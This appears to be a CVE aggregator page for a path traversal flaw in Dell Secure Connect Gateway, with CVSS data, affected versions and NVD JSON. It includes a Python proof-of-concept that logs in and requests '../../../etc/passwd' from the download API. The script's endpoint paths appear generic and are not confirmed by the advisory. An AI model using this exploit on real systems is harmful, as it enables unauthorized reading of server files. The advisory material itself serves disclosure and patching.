Security Vulnerability Report
中文
CVE-2025-46363 CVSS 4.3 MEDIUM

CVE-2025-46363

Published: 2025-10-30 16:15:36
Last Modified: 2026-01-21 20:20:13

Description

Dell Secure Connect Gateway (SCG) 5.0 Application and Appliance version(s) 5.26.00.00 - 5.30.00.00, contain a Relative Path Traversal vulnerability in the SCG exposed for an internal collection download REST API (if this REST API is enabled by Admin user from UI). A low privileged attacker with remote access could potentially exploit this vulnerability, leading to allowing relative path traversal to restricted resources.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:dell:secure_connect_gateway:*:*:*:*:application:*:*:* - VULNERABLE
Dell SCG 5.0 Application and Appliance 5.26.00.00
Dell SCG 5.0 Application and Appliance 5.27.00.00
Dell SCG 5.0 Application and Appliance 5.28.00.00
Dell SCG 5.0 Application and Appliance 5.29.00.00
Dell SCG 5.0 Application and Appliance 5.30.00.00

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-46363 PoC - Dell SCG Path Traversal # Target: Dell Secure Connect Gateway REST API # Vulnerability: Relative Path Traversal in collection download API def exploit_path_traversal(target_url, username, password, target_file): """ Exploit path traversal vulnerability in Dell SCG REST API Args: target_url: Base URL of Dell SCG instance username: Valid low-privilege user credentials password: User password target_file: File to read (e.g., ../../../etc/passwd) Returns: File contents if successful, None otherwise """ # Authentication login_url = f"{target_url}/api/v1/auth/login" login_data = { "username": username, "password": password } try: # Login to get session token session = requests.Session() login_response = session.post(login_url, json=login_data, verify=False, timeout=30) if login_response.status_code != 200: print(f"[-] Authentication failed: {login_response.status_code}") return None token = login_response.json().get('token') headers = {'Authorization': f'Bearer {token}'} # Exploit path traversal exploit_url = f"{target_url}/api/v1/collection/download" params = {'file': target_file} print(f"[*] Exploiting path traversal: {target_file}") response = session.get(exploit_url, headers=headers, params=params, verify=False, timeout=30) if response.status_code == 200: print(f"[+] Successfully read file: {target_file}") print(f"[+] Content length: {len(response.content)} bytes") return response.text else: print(f"[-] Exploitation failed: HTTP {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") return None if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2025_46363_poc.py <target_url> <username> <password> <file_path>") print("Example: python cve_2025_46363_poc.py https://scg.dell.com admin password ../../../etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] result = exploit_path_traversal(target, user, pwd, file_path) if result: print("\n[+] File contents:") print(result[:1000]) # Print first 1000 chars

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46363", "sourceIdentifier": "[email protected]", "published": "2025-10-30T16:15:35.580", "lastModified": "2026-01-21T20:20:13.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell Secure Connect Gateway (SCG) 5.0 Application and Appliance version(s) 5.26.00.00 - 5.30.00.00, contain a Relative Path Traversal vulnerability in the SCG exposed for an internal collection download REST API (if this REST API is enabled by Admin user from UI). A low privileged attacker with remote access could potentially exploit this vulnerability, leading to allowing relative path traversal to restricted resources."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:secure_connect_gateway:*:*:*:*:application:*:*:*", "versionStartIncluding": "5.26.00.00", "versionEndExcluding": "5.32.00.00", "matchCriteriaId": "861BDAB4-B3A4-48EE-A4A6-3CECA72731D0"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000385239/dsa-2025-386-security-update-for-dell-secure-connect-gateway-rest-api", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}